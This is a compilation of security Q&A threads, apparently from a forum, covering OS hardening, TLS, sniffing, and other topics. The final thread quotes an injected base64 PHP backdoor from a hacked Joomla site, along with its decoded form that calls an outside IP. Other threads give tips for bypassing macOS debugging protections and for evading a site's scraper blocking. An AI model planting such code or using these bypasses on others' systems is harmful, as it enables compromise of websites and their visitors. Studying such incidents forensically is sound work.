How to provide to your Webpage a security like Wix and how to break that security I have read several articles related to the "impossibility to fully protect your Website from being copied (please, check, for instance: Prevent my site from being copied).
So, how is it possible for sites like Wix to avoid you getting an editable version of the Webpage you have created in their Website, even using tools like Httrak?
Or, if I am wrong, could you please advise how to full edit a Webpage created in Wix (of course, after downloading it, in your local machine)?

Make sure httrak is setup to spoof a real browser (user agent), and try and slow the requests down. Wix probably blocks known download user agents.

See this page:
https://www.httrack.com/html/fcguide.html
You will need to search on the page as it's very long.


Sniffing unencrypted traffic in datacenter Please explain how is it possible to sniff packets from within the datacenter.

Some background. I am studying networking options for DigitalOcean. My goal is to make sure that data exchange between hosts is secure as it may be sensitive. I read that DO's "private network" is not a real private network but instead includes all the users inside of the datacenter and isolates them from WAN.

Due to this, it is recommended to encrypt the connection between DigitalOcean's droplets that might exchange sensitive information.

I would like to better understand how is it possible to capture TCP/IP traffic that wasn't intended for your host within a reasonably secured and controlled environment of a datacenter (e.g. there's no WiFi, routing is properly configured, there's no malicious MITM possible).

To perform a successful MITM attack you need one of two things (assuming encryption is not utilized).

Exist on the same network of the traffic you are trying to intercept
Exist on the path of information of the traffic you are trying to intercept

This means that if someone else has a droplet on the same subnet as you they can potentially eavesdrop on the communications that exist on that network. This monitoring could be done with the help of a network analyzer tool like Wireshark, or with a technique called ARP Poisoning if the conditions are correct.

I don't have any intimate insider knowledge of how the DO droplet isolation or network configuration works, but anytime you transmit sensitive data between any machine (even when both machines exist on the same trusted network) you should be leveraging TLS to mitigate traffic interception.


What mechanisms prevent me from "ptraceing" a signed OSX application? I want to debug an application I have installed on my Mac.

The application comes in a ".app" format, which is basically a folder including the binary and some other frameworks and resources.

I was trying to attach to the process using ptrace(), but it seems that I get blocked by doing so (even while running as root).

This is the error I get:

ptrace: Cannot attach: Invalid argument ERRNO: 22 (EINVAL)

I am able to debug other apps (which I compiled myself).

I was wondering what mechanism is stopping me from doing so, and, is there is any way to bypass it.

Thanks!

You should probably start with trying to debug the application with lldb to determine why you can't attach to the process.

System Integrity Protection

If an application is signed with the Hardened Runtime option, or is signed with Apple's own certificate (as Apple's official software is), System Integrity Protection (in the kernel) will prevent you from debugging the application.

If you tried to run such an application under LLDB you would see one of these error (not 100% sure why one versus the other appears):

  error: process exited with status -1 (Error 1)

  error: process exited with status -1 (cannot attach to process due to System Integrity Protection)

To get around this you could try either disabling SIP or removing the code signature (codesign --remove-signature application.app).

PT_DENY_ATTACH

A running process can also request that the kernel deny attempts to trace the process. If lldb shows an error like the following, that's probably what you are dealing with.

  Process 1234 exited with status = 45 (0x0000002d)

The most-common and safest way an application will do this is through the ptrace function call (although I've also seen it done through the syscall directly, which I've written about previously).

ptrace(PT_DENY_ATTACH, 0, 0, 0);

This is kernel-enforced so to get around it you would have to prevent the application from ever asking the kernel to deny attaching (either through the debugger or patching the binary). Historically there were also some kernel extensions to disable this feature, but I don't think any are still maintained.


What should be Database encryption strategy ? In MS SQL Server 2005/2008 standard encryption all data in the database is encrypted using the SMK/DMK scheme. In this scheme a key is issued for each client connecting to the database. What would a hacker sniffing network traffic will see and what should be the strategy to prohibit this

Would Applying Encryption inside the database will be enough.
Would Applying Encryption outside the database (Applying encryption where the data originates) will be necessary.
A Hybrid solution will be more suitable
Do I also need to provide a secure link (SSL) between client and server ?

Yes, else the attacker could grab the key off the wire as it passes to the client and can decrypt the information the same as the client. One needs to use a secure key exchange, the easiest way to do that is to push everything through SSL.


If I log on facebook on Chrome am I trackable when I use Firefox? I rarely use Facebook and rarely use Chrome. I would like to limit the tracking I am subject to, so I think it would be good to log on Facebook on Chrome and use only Chrome to use Facebook.

Does this separation of my use of Facebook save me from tracking when I use other browsers such as Firefox?

Go one step further and use a "portable" version of the browser you want to use as your "Facebook" browser. That ensures that you are not co-mingling your web files in the same directories, but allows that browser to collect cookies and internet files that makes it easier to use Facebook (if you want that).

The other thing to mention is to not log in to your Google account if you use Chrome. That connects your activities across browsers.


Whats the point of publishing Gmail password lists? Almost everyday some media outlet reports that a bunch of accounts have been pasted on the internet and some of them include both email-id and password. But I don't understand how this is useful. Even if you know the email-id and password you can't just login since gmail by default will prevent suspicious logins, so whats the point of making them public? Like what are hackers trying to achieve?

First of all, I'm not sure lists of Gmail account details are published daily. As far as I know, Gmail has not been a major data breach (but subsets of data could of course come from other sources).

But why is the data useful? Some reasons:

Gmail try to catch suspicious looking login attempts. I think this is mainly done by looking at the geolocation of the IP and the HTTP user agent header. But what if the attacker uses a VPN ending up in an area near where you live, and the same browser as you do? (Plus, I am not sure Gmail always blocks logins - sometimes it just notifies you of the unusual attempt but still allows it. I am not sure what policy they have.)
Even if you can not use the passwords on Gmail, accounts might be created with the same details on other sites with less strict security. Accession those could be of value for an attacker.
As shroeder says in comments: "Bragging rights to say that they were successful in breaching the target systems and company." (I don't think this is the most importnat motivator, but it is one.)

The bottom line is that you should not rely on Gmails heuristics to keep your account safe. If your password is leaked, that is bad and you should change it on all places you use it.


What are the criteria to choose a secure operating system? Let's say I have a new and empty desktop or laptop computer and I want to decide which operating system to use. I plan to use this computer in a small home LAN with internet access. There are other devices in this network, but nothing too fancy - so no server or anything like that.

What am I doing with my computer?

We are talking about recreational use 95% of the time. This consists mostly of browsing the interwebz: news sites, social media, and the occasional streaming site, where there are all these naughty ads that I can't block. Other than that it's a bit of gaming and again: nothing too fancy. The other 5% are online banking or remote logins to my work machine possibly via VPN.

Here's a possible (very boiled down) threat model:

Assets:

Personal data (photographs, text files)
login credentials (social media, Email, banking accounts, work VPN)
access to the filesystem

Threats:

a variety of non-targeted attacks like: phishing mails, ransomware attacks, drive-by downloads etc. (typical - high probability)
targeted attacks (very untypical - very low probability)

I am a mediocrely tech-savvy user. To give you a broad idea: I'm able to install software and do some configuration changes.

Now with all this in mind:
What are the criteria when choosing a secure operating system for a computer? I am aware that there are a ton of other possibilities to hack into my machine, but in this question I want to focus on the operating system.

Bonus question: Adjust the parameters to a tech-savvy user, with a lot less recreational and way more work related usage of the machine. How do the criteria change?

Disclaimer: I do not want a product recommendation. I want to know how I should look for a product.

Disclaimer 2: This is not about me but about a "generic" user.

There are many criteria you can use for choosing a secure operating system. This includes everything from the features explicitly supported to the overall goal of the system itself. Although this answer turned out rather long, it actually only touches on a small subset of considerations.
If this is tl;dr and you want a quick summary with recommendations, skip to the very last section. Otherwise the following will give you a basic understanding of how different operating systems differ in their security. It is by no means exhaustive, but should fit for such a broad question.
Userspace hardening
A hardened userspace is important in threat models where your adversary is able to send attacker-controlled data to your system where it will be parsed by potentially insecure code. This can manifest itself as anything from media files to the HTML and CSS you view on your web browser. You need to assess whether you will be exposed to such data, and under what circumstances. Is your adversary able to get you to visit a malicious website? Can they get you to view a malicious video file or image file? Can they communicate with any remote services on your computer? Etc.
An operating system that is hardened makes use of built-in security features to reduce the probability of success or overall impact of exploits. An operating system that provides you with pre-compiled software (a binary distribution, in *nix terminology) must apply this hardening at compile time. The hardening typically involves instrumenting executable code to reduce the amount of information an attacker has about the memory layout, or to complicate common exploits.

ASLR (Address Space Layout Randomization) is a ubiquitous security feature in virtually all modern operating systems. In general, it functions to randomize memory layout, forcing an attacker to additionally exploit an information leak before they are able to exploit any vulnerabilities that require knowledge of memory layout. Different kinds of ASLR randomize different aspects of memory. The more complete the ASLR is, the higher the security. ASLR is provided by the kernel of the operating system and applies to all executables that are loaded. ASLR first appeared in PaX, a component of the grsecurity hardening patch.

PIE (Position-Independent Executable) is a compile-time feature that allows an application to execute a function without knowing its absolute address. If PIE is not supported, ASLR will be significantly more limited in its capabilities, effectively allowing only randomization of the base. When PIE is supported, even individual libraries can be placed at random offsets. Because PIE reduces performance slightly, some operating systems only compile sensitive applications this way. Debian is an example of this, with very limited PIE support. Fedora on the other hand compiles everything with PIE to maximize security.

SSP (Stack Smashing Protector) is another compile-time feature that adds checks before function returns that checks for stack overflows. It can be implemented in several ways, but one of the most common is the stack canary. This is a value is randomized and unique for each thread. This value is checked when a function returns and, if it has been modified, the program aborts. Unless an attacker can exploit an infoleak to obtain the actual value of the canary, any overflow will blindly overwrite it and trip the SSP protection.

NX (No Execute), also called DEP (Data Execution Prevention) on Windows, is a hardware security feature that must be enabled at compile-time to be supported for any given application. When NX is active, memory that is marked as readable by not executable cannot be executed. Without NX, readability implies executability. Most operating systems use NX globally, preventing naive buffer overflows. Bypassing NX usually requires more advanced exploitation techniques, such as ROP (a technique to execute existing code out-of-order).

There are other common hardening techniques, such as RELRO, BIND_NOW, FORTIFY_SOURCE, as well as less common techniques like UBSAN, CFI, and SafeStack. The popular checksec utility is able to check for the presence of several hardening features in any executable or process. It runs on almost any Linux system. None of these are perfect, but they can significantly raise the bar for an attacker. Different operating systems, and even different distributions within the same operating system, may apply differing levels of hardening.
Kernel hardening
Kernel hardening tends to be most important when an attacker is running a malicious process on your system. This can be the case if either you are legitimately permitting them to run an untrusted process (in a virtual machine or container, for example), as well as if they have exploited an application with low privileges and wish to elevate themselves to higher privileges, such as root. It is generally harder for an attacker to get into a position where they can attack the kernel, but if they can, the impact is significant (complete loss of integrity).
The kernel is the lowest-level, most privileged task in any operating system. Userspace processes communicate with the kernel through syscalls in order to request various resources (such as memory) or actions (such as I/O). The kernel is in charge of deciding whether or not the calling userspace process has sufficient permissions. Unfortunately, the interface to the kernel is very complex, and any bug in this interface can completely invalidate the integrity of the running operating system. The kernel thus needs to protect itself. This is called kernel hardening.
On Linux systems, kernel security can be increased greatly by using the grsecurity patchsets. Unfortunately, as of writing this, the patchsets are commercial. If you do purchase them though, you can get improvements that are very possibly decades ahead of public security techniques, if history is to be trusted (ASLR and NX for example came from research done for PaX, one of the core components of grsecurity which focuses on resisting memory corruption attacks).
Differences between categories of operating systems
Different operating systems may have different priorities for kernel security. For example, Debian is designed to work on virtually all hardware and with all software, even outdated software. As such, it enables potentially insecure legacy features that have a history of exploitation. OpenBSD, on the other hand, quickly removes any feature that they think is too risky to securely maintain.
A summary of a few common categories of secure operating systems:

Linux has a kernel which is often configured differently by different distros. A stripped-down, minimal Linux kernel can be incredibly secure, whereas a feature-rich and bloated kernel may be running many exploitable drivers. The kernel is open source, so different distributions even have their own patchsets to the kernel. The Linux kernel doesn't have many self-protection features, but they are being slowly added upstream, and these features are typically based on (read: copy-pasted from) the latest publicly available grsecurity sources.

A custom kernel has the potential to be the most secure. It can be compiled with hardening, and extra features can be stripped out. Unused drivers can be removed, reducing attack surface area. Security features that are mislabeled as debugging features (such as credential sanity checking) can be enabled. A custom kernel is the hardest to maintain, as it requires knowledge of kernel configuration and security. Even a basic overview of security-related configuration options would take up an entire answer.

The Fedora team takes security more seriously than most, it seems. They enable new security features when they come out, and they disable old, legacy functionality. SELinux is enabled by default, leveraging the kernel's ability to restrict even the root user.

Ubuntu used to be fairly insecure but has been improving security as of late. Their kernel supports some legacy features, but also disables others which may conflict with security policies. Ubuntu is Debian-based, but uses its own kernel. Userspace has a decent amount of hardening, with PIE and other techniques applied to a number of utilities.

Debian, unfortunately, prioritizes compatibility over security. Their kernel supports a large number of potentially risky legacy functionality (uselib, vsyscalls, etc) in the name of compatibility with legacy software. It has all sorts of drivers for many types of hardware, some of which can be exploited. Compile-time hardening for the kernel is virtually non-existent, and is limited to only sensitive programs for userland. However, the Debian security team is fairly quick with security backports.

BSD is a class of operating systems derived from the original Berkeley Software Distribution. Unlike Linux distros, BSD distros do not use the same kernel. Their only similarity is their ancestor, BSD 4.4. Security in the BSDs varies greatly:

OpenBSD is a BSD operating system that prides itself on security and stability. Many features that may be insecure are stripped out, and many new security techniques are added regularly (although they're not all high quality). It is designed to be secure by default, with almost all of the userland sandboxing itself and compiled with extensive protections. The kernel itself is not perfect and fuzzing it can reveal some scary results. The system doesn't have the best performance, in part because of their focus on security. This is especially apparent on multiprocessor systems, where the majority of the kernel is forced into a single thread by the giant lock to reduce the risk of race conditions.

FreeBSD is more similar to Linux in that it often breaks away from the original Unix philosophy. It supports a large amount of hardware and has very good software support. The kernel is not quite as clean as OpenBSD's, and its userland is not ideal (it uses the ASLR-limiting jemalloc memory allocator, for example), but it is overall a fairly solid system. There is a modified version of FreeBSD called HardenedBSD which focuses on userspace hardening, though its kernel does have some improvements, especially in regards to ASLR. It is still rather experimental last I checked, but is otherwise very solid.

NetBSD and DragonflyBSD are not great. The kernels, especially the networking stack of NetBSD, is riddled with bugs. DragonflyBSD was so behind on security that they only added NX support (a hardware feature that prevents executing non-executable code) to the kernel recently, something Linux got in 2004! These are niche systems and it's unlikely you will need to use them.

Windows, especially 10, is actually surprisingly secure. The kernel is possibly the most heavily statically-analyzed monolithic kernel in existence, and it supports a large number of security features and self-protection techniques. Older versions of Windows were so far behind on security (you could even map an address to NULL on Vista, if I recall) that it has adopted a very bad reputation. Now days, the kernel is actually quite hardened. The complexity of the kernel does lead to other bugs, but exploitation-wise, it is likely more secure than an equivalently feature-rich Linux kernel, such as Debian's. The biggest issue with Windows is the fact that that you cannot compile out features you do not need or audit the source code. Additionally, the Snowden leaks have shown that Microsoft gives the intelligence community early access to 0days before they are patched.

Security features (access controls, etc)
A secure kernel means nothing if it cannot be used to enforce security policies for userspace. What good is a parent who can't be manipulated if they don't know how to keep their kids in line? Most kernels provide various interfaces that privileged users can set up in order to restrict lesser users. Some of these features are enabled by default and are a core part of the system's security (such as standard Unix access controls, aka DAC), and some are optional and can be configured to provide fine-grained protections and sandboxing.
Security features like this are useful when there is the risk of an attacker exploiting a running application, such as a web browser or media viewer. If the individual binary hardening is not sufficient to prevent exploitation, kernel-provided security restrictions can limit the damage that can be done. For example a browser which is limited to accessing only its own configuration directory, a public directory, and the downloads directory will not be able to read your password files.
A small list of common kernel-provided security features:

DAC (Discretionary Access Controls) are standard Unix permissions, supported on all Unix and Unix-like systems. Any individual file can be given attributes to restrict reading, writing, and executing. There are separate attributes that apply to the user (let's say fred) which owns the file (in which case they can override it at will, hence "discretionary"), the group the file is owned by (let's say localusers), and all other miscellaneous users on the system. For example, a file can be made readable and writable for its user, only readable by the group, and completely unreadable and unwritable for any other process on the system. This example permission would be fred:localusers 640, with 640 being the permissions in octal.

MAC (Mandatory Access Controls) are present in many security-focused operating systems. Unlike DAC, even the owner of a policy cannot override it. A MAC system typically restricts the resources (such as a file or networking interface) a given subject (such as a process, program, or user) is permitted to access. Common examples are SELinux, a difficult-to-configure by highly extensible framework provided by default on Fedora and CentOS, and AppArmor, an easier to use system that focuses on limiting file access, provided by default on Debian and Ubuntu, as well as OpenSUSE.

Sandboxes and jails can be used to restrict an untrusted process, reducing the capabilities it has and preventing it from damaging the rest of the system. The implementations, designs, and purposes vary greatly. It is a complex enough subject on its own that I can only link to a different answer which I've written, covering sandboxes and similar technologies.

Default services
The default installed applications and the services that run by default are very important for security. A stripped-down system with very few unnecessary features will be more secure than a bloated system with applications for every possible format. More running services means more attack surface area. Some operating systems, like Windows, want to run as many services as possible, whereas OpenBSD has practically nothing running by default. Because they have such a bare default install with so few running services, they can proudly boast:

Only two remote holes in the default install, in a heck of a long time!

There are countless online guides for disabling unneeded services on all sorts of operating systems. Since the base applications determine how much attack surface area the operating system has by default, a system with a huge base can present itself as low-hanging fruit to potential attackers. Ubuntu for example fell the very first day in the Pwn2Own contest due to its feature-rich userland. A ChromeOS system with its more limited system would have held up!
Recommendations
You didn't ask for recommendations, but just in case:

ChromeOS is a Linux-based system developed by Google. It is focused on web browsing and so you should expect to spend most of your time in the browser. It is possibly the most secure Linux system out-of-the-box, as well as one of the easiest to use. It uses a built-in TPM to provide measured boot, preventing the system from coming online if it has been tampered with (either in an evil-maid attack, or by malware). Privacy-wise, it's obviously not great.

QubesOS is a Xen-based system which uses Fedora internally. It focuses on isolation-by-default and tries to be easy to use. It is primarily developed by Joanna Rutkowska. Xen uses IOMMU isolation which prevents malicious or compromised hardware peripherals (e.g. the network card) from compromising the system. It can make use of an installed TPM to provide measured boot using what it terms AEM. Qubes makes some strange security decisions, such as using Xen (which has a poor track record for security), and giving all AppVMs root access, relying entirely on Xen for security. Its heavy use of virtualization can make it sluggish, and it does not work on systems without hardware-accelerated virtualization.

Whonix or Tails can be used if you want to focus on anonymity. They both force all their connections through the Tor anonymity network, but differ slightly in their goals. Whonix is designed to use physical isolation, running the Tor process on another operating system (the "gateway") so that, even if the primary workstation is compromised, the Tor process is not harmed. By default, Whonix recommends using virtualization to achieve this, but this recommendation should not be taken. Instead, the gateway and workstation should be installed on physically separate machines. Tails is similar, but uses a software firewall for isolation instead. It additionally focuses on anti-forensics, keeping everything in memory and losing it when the system reboots. To accomplish this, Tails is a live DVD.

Fedora is a Linux distribution that focuses on security and ease-of-use. Current Fedora releases use Wayland by default to improve graphical isolation. Fedora also uses fairly well-hardened executables and a kernel that is kept up to date and secure. It also uses SELinux out of the box with pre-configured policies. For a general-purpose Linux distribution, Fedora is among the most secure while still being user-friendly.

OpenBSD is a Unix-derived operating system that focuses on simplicity, security, and stability. It has an excellent documentation system, providing probably the most comprehensive and useful references of any operating system. The man pages are in fact considered the official documentation for the system. OpenBSD is a very good choice if you are fine with the base system and other applications available through its binary package manager. Overall, OpenBSD feels very... comfy. It's what an operating system should be, even if it has its drawbacks (lower software and hardware compatibility, doesn't scale well on SMP systems).

Windows is the most popular desktop operating system in the world. Recent versions improve security, as mentioned earlier. Windows may be useful if you do not care about privacy and want a well-supported system that has decent resistance to exploitation.


Dedicated OS vs Debian for SOHO Firewall? I want to set up a firewall for a small office. I have a server on which I can install an OS of my choice. I was thinking of trying pfSense but ran into some testing problems and tried IPFIre (Linux based).  Hence I will only be referring to the last one here.

IPFIre is easy and fast to setup via the web interface. However, when it comes to configuring certain tools (such as rsyslog forwarding, a Suricata IDS, any other tools I could think of later), I would prefer using the usual CLI and terminal rather than a web interface that I don't fully control/understand. Also, setting things directly from a terminal in IPFire so far seemed to me complicated (at least, different from the Linux I know and not so documented).

These consideration might be wrong as I haven't been studying the case much.

My question is: would it be bad idea to build my own firewall from a Debian 8 (using iptables and other relevant tools, such as Squid proxy/filter, Suricata within the office, etc.)?

EDIT 1:
I can take the time necessary to build such firewall and have some knowledge (I would guess enough) in iptables. The requirements for the firewall are quite basic. Concerning traffic, an OpenVPN bridge and HTTP(S).

I am just wondering whether these Firewall distributions (IPFire, pfSense, etc.) had specific protections that would be very hard/impossible to implement in a "normal" Linux OS such as Debian.

All the systems I have seen (either dedicated, appliance-like ones, or "helpers" in normal distributions) boil down to building an iptables configuration.

The advantage of going though them is that you do not absolutely have, right away, to understand all the details when you use a default, well documented example configuration.

What you look for instance at a basic shorewall installation, the configuration built is HUGE compared to what you would have thought by yourself (when you are not experienced). An appliance OS will package things for you and make them maybe more straightforward. They do not add anything more, technically speaking (i.e. no special firewall functionality you would not have with a correctly configure OS and iptables).

My personal opinion is to go for the OS + iptables helper solution, you will learn a lot in the process. You may need to adjust your kernel but again, this is part of the learning.

As a side note, I reviewed recently several GUIs to manage iptables. I found that there are no modern ones (the ones which exist are either old or abandoned) while the CLI ones are solid (shorewall and firehol are two which I found interesting).


Auditing Sysmon 10 DNS events on Windows 2008 R2 I have installed Sysmon 10 on a Windows 2008 R2 box in the hope of, amongst other things, capturing DNS requests.

Sysmon appears to be capturing all other Event ID's except for 22. I have installed this on a 2012 box with the same .xml configuration file and 22 is being happily logged.

Has anyone else noticed the same on a Windows 2008 box?

According to Sysmon Documentation,

Event ID 22: DNSEvent (DNS query)
This event generates when a process executes a DNS query, whether the
result is successful or fails, cached or not. The telemetry for this
event was added for Windows 8.1 so it is not available on Windows 7
and earlier.

This explains why you don't see event 22: Windows Server 2008 R2 and Windows 7 share the same version number 6.1, whereas the equivalent for Windows 8.1 is Windows Server 2012 R2 (version 6.3).


Sucuri giving false positive with their free online scanner because of an .htaccess RewriteRule I'm not sure where to ask this Question - here, SO, Webmasters.SE, somewhere else? Please migrate if appropriate.

tl;dr:

The following rule in my .htaccess is causing Sucuri's free online scanner to report my site as infected with:

"Known javascript malware" - Location: http://my-subdomain.cu.cc/404testpage4525d2fdc/ ("my-subdomain" is not my real sub-domain).

Here's the rule:

RewriteRule ^([^\.]+[^/])$ http://%{HTTP_HOST}/$1/ [L]

Question

Is there anything inherently wrong with my RewriteRule, am I somehow "doing it wrong"? Or, is this just much ado about nothing?

Background

I'm using that RewriteRule to add a slash to any URL's that don't have a trailing slash - except URL's pointing to a file, e.g., index.php, myfile.html, etc.

It's very consistent and reproducible...if I comment out that rule and rescan, it's clean; re-enable, flagged again...ad nauseum. I can think of three possibilities (though I'm sure there are more):

a flaw in their scanning process;
something inherently wrong with that RewriteRule;
Sucuri is trying to drum up business from the unsuspecting; (Author edit)

In my .htaccess I also have:

RewriteCond %{HTTP_HOST} ^(www.)?mydomain.com$ [NC]
RewriteRule ^(.*)$ /mydomain/$1 [L]

That rewrites any requests to mydomain.com to a sub-directory of my public root (which I'll just call root, for brevity's sake). This is needed because I have a shared hosting account that allows unlimited domain addons, but they all must point to root. Those two lines are replicated 7 other times, all rewriting different domains to different sub-directories.

Finally, I have:

#block access to .inc files sitewide
<Files ~ "\.inc$">
  Order allow,deny
  Deny from all
</Files>

That one should be self-explanatory. Prior to my scan, I had only one file in root - .htaccess. Everything else is in sub-directories - each sub-directory is dedicated to a different domain, hence my RewriteRules.

After reading some threads re: WordPress malware problems, I decided to run their scanner and check my site. So I created a dummy index.php in root, shown here in its entirety:

<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>Untitled Document</title>
</head>
<body>
Root!
</body>
</html>

I used one of my unused freebie CU.CC sub-domains to use with their scanner. That sub-domain is not in my .htaccess, so it automatically points to root.

Edit

This is the error page for http://my-subdomain.cu.cc/404testpage4525d2fdc/

  Not Found

  The requested URL /404testpage4525d2fdc was not found on this server.

  Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

  Apache Server at anchorage.cu.cc Port 80

Interesting, just read the background. I assure you has nothing to do with drumming up business. We have no need to do that. If you send us your info at info@sucuri.net we'll see if we can't better understand what is going on.

The 404testpage is a test page we emulate to see output of a page when we can't pinpoint the issue but we can see the payload.

I am more interested on what is below the testpage. Do you have more information you can share? I wonder, the 404test page, below it, does it say 500 error or website disabled? Or something equivalent?

It might be that the scanner is being blocked.

Thanks


Why do cipher suites with message authenticated cipher modes also specify a hashing algorithm TLS 1.3 specifies these three ciphersuites:

TLS_AES_128_GCM_SHA256
TLS_AES_256_GCM_SHA384
TLS_CHACHA20_POLY1305_SHA256

all of them both feature authenticated cipher modes and and a hashing algorithm at the end. What is the purpose of these?

While AES-GCM and ChaCha20-Poly1305 use AEAD cipher modes, and thus do not require a MAC on the encrypted data, there are still some parts of the TLS protocol which require a hash function.

The first is for handshake validation. When the Finished message is sent, it contains a hash of all the previous handshake messages sent, which allows TLS to validate that handshake messages sent before the key exchange weren't tampered with. The hash function used here is the one specified in the cipher suite. You can read about this in RFC 8446 Section 4.4.4.

The second is for key derivation. While the session master key is exchanged or agreed upon via ECDHE or a similar mechanism, this master key isn't directly used for encryption or authenticity verification. Instead, a PRF based on a HMAC is used to derive keys for various purposes (e.g. encryption), and the underlying hash of that HMAC is specified in the cipher suite. You can read about this in RFC8446 Appendix E.1.1 and in more detail in RFC 5246 Section 5.


Why Youtube, or any other Google services use account binded authorization key plain in the url? in the past I expirmented with Google available api tools, like the Drive and Youtube api's.

The way it works is after you purchase a deveopler account, you are granted to many of Google services through api's, which in order to use, you need a uniuqe api key that is linked to your account, and appended to each of the requests url.

For example:

https://www.googleapis.com/youtube/v3/playlistItems?part=snippet&playlistId=some.playlist.id&key={YOUR_API_KEY}

In the begining I thought it was a smart idea to use the key -> account binding, for instance, if an api key is bypassing the tos, Google can simply ban the account.

But then I found out it is very easy to reverse engineer the authorization key in Android/iOS apps using MITM tools such as Mitmproxy.
Using that approach, I managed to find the Youtube official app api key, and many other apps that use those services, so my question is, isn't Google shoot itself in the foot by using the autorization key that way? As apps can still remain anonymous using their services, and even pretend to be other accounts!.

Isn't it a better idea to build sdk which will receive the account key and use it to generate locally a one time key for each request? Of course this could be reverse engineered as well, but it will be much harder...

If you are on the premium plan, you can get a Google ClientID, which comes with your own private key.

After you sign up for the Google Maps APIs Premium Plan, you'll receive a Welcome letter from Google at the contact email address you provided. Your Welcome letter contains the following important information, so make sure you keep it handy:

Project ID
Client ID
Private cryptographic key for your client ID
Google Account

Authentication and authorization
To make requests to our APIs, you must authenticate your application with either an API key or your client ID. In addition, requests for some APIs also require digital signatures.

But you have to be premium :)


What can be done to limit corporate Identity theft? Modern fraudsters commit identity theft by impersonation in social media, since a lot of personal information such as our names, location, contact info and other personal details are available for skilled fraudsters to commit identity theft. What can be done at a corporate level to limit corporate identity theft?

This is a vary difficult problem from the corporate perspective. I'm assuming
from your question, you are more interested in what the business can do rather
than on what the individual can do.

I think there are two main areas that business should focus on in order to
reduce the risk of their data being compromised and used for identity theft

Staff awareness and education
Increasing corporate capability maturity

The majority of data breaches are initiated through social engineering attacks
against staff. These often take the form of email phishing and spear phishing attacks
against staff. Increasing staff awareness of these types of social engineering
attacks is a good way to reduce the risks. This is why many large organisations
now actually conduct phishing campaigns against their staff as a training
process. For exmaple, Twitter does this as part of the new staff
induction. There are a number of companies, such as Phish5, which provide this
sort of service to corporations.

The other thing which business should do is have clear policy and procedures
regarding data collection, storage and destruction, policy and procedures
relating to data governance, classification and custodianship which makes it
clear who is responsible for ensuring all data meets corporate policy and
procedures.

However, having these policies and procedures is not sufficient. The corporation
also needs to have procedures in place to ensure these policies and procedures
are being followed and that they are reviewed on a regular basis. This is
essentially the capability maturity model (CMM). In this model, a corporation
maturity is measured according to where they sit with respect to documentation
of policy and procedures and level of adherence. The levels, from lowest to
highest tend to be along the lines of

1. Policies and procedures are ad hoc and not documented
2. Policies and procedures are documented, but may not be adhered to
3. Policies and procedures are documented and adhered to, but adherence is
   not verified
4. Documented policies and procedures are adhered to and adherence is
   verified (logged, audited, etc)
5. Documented policies and procedures are adhered to, verified and reviewed
   on a regular basis.

Generally, staff will attempt to do the right thing. However, the right thing is
not always obvious. Having clear policies and procedures will help with this by
providing staff with the necessary information to ensure awareness of the issues
and requirements. This leads to more mature business processes which are less
likely to have inconsistency or rely on assumptions which may not be valid. It
also helps ensure the right culture within the organisation.

Critical to achieving a data aware and mature corporate culture is leadership
and governance. There has to be a determined effort by the executives of the
organisation to establish a culture where client data is valued and protected
and managed in a consistent and safe manner. For larger organisations, this is a
complex and challenging goal and can take considerable effort to achieve.

There is also a need for consumers to become more demanding. Often, corporations
will only improve when it becomes obvious that not doing so will affect the
bottom line. As consumers, we really should look at things like the service
providers privacy policy and be willing to not use the service if that policy
doesn't provide sufficient protection. We should all adopt a proactive position
and refuse to use a service if that service is not willing to demonstrate they
will take sufficient action to ensure our personal data is sufficient
protected. We should demand to know how they will use our data, when they will
destroy our data, what protections they have in place for our data and that they
will inform us of any incident which may have compromised either the
confidentiality or integrity of our data. Unfortunately, too many of us are
willing to give up our personal data too easily.


Site backdoor & eval() I'm running a Joomla 1.7 site which was hacked today. Below script did the hack.
eval((base64_decode("DQoNCnByaW50IEBmaWxlX2dldF9jb250ZW50cygnaHR0cDovLzkzLjExNS44Ni4xNjgvaGxpbmtzL2xpbmtzLnBocD91YT0nIC4gQHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pIC4gJyZyZXE9JyAuIEB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJy8nIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKTsNCg0K")));

Above line was injected to my index.php file of the templates folder. Every template which was in the folder had the above code. In each file it was repeated few times.
When I decode the code, it outputs
print @file_get_contents('http://93.115.86.168/hlinks/links.php?ua=' . @urlencode($_SERVER['HTTP_USER_AGENT']) . '&req=' . @urlencode($_SERVER['HTTP_HOST'] . '/' . $_SERVER['REQUEST_URI']));

I removed the script and site happens to work fine. Script didn't do anything bad except site did not load at all.
My problem is even when I have set the file permission to 644 and folder permission to 755, How could this happen?
How can I figure out what caused the problem? What steps should I take to prevent happening this in the future?
UPDATE
This Forum Post Assistant / FPA is very helpful

How can I figure out what caused the problem?

Basic forensic steps for this type of breach are as follows:

Establish basetime - when did the files that were modified
change?
Use 'find' to search your webroot for files that changed before
basetime but not more than (say) 24 hours before basetime - use
"touch" to create files with the start and end times and use find
with "-newer" and "! -newer" to search within that time frame.  This
might identify any files that were uploaded or changed on your
server as part of the actual break-in.
Now correlate with web access logs to see what happened at the time
those any of those files changed.  It is highly likely the attacker
abused either Joomla or a plugin thereof in order to run code on
your system - for example, at 08:00 they trick a plugin into
uploading a PHP file to your webroot, at 08:05 and 08:10 they access
that newly uploaded PHP file via the web server, and at 08:15 they
use it to execute whatever code went through and modified your index.php.
Once you find any web log entry which identifies the attacker (i.e., accesses a script that you found that was uploaded by the attacker), you can use the
IP address of the attacker to search the logs more comprehensively
and see if you can figure out what else they did.
If you identify any files the attacker uploaded to your system, you
may be able to better understand what they did.  In the last such
system I analyzed, however, their upload was simply a PHP file which
would eval() the contents of the data posted to it - they
essentially set it up so they could submit code to the PHP
interpreter by POSTing to a web page.  This method doesn't leave any
traces of the code they actually ran.

When I say "this type of breach" I'm referring to a watering hole attack, where someone breaks into your web server and injects code into your web files so that you will unwittingly serve them to your web clients.  Such breaches are commonly performed by attacking the web application / CMS / plugins, and while the attacker runs code on your system, they are less likely to use the breach to build themselves a full backdoor or to try and remove traces from the logs - they're just in, modify your files, and gone.

It is very important that you perform the analysis above in order to identify how they were able to execute code on your system; if you don't, they or someone else will just do it again.  Even though the chances are lower that the attacker dove into your system (backdoors, log edits, rootkits) you should strongly consider rebuilding the box and restoring your web content from a clean backup.


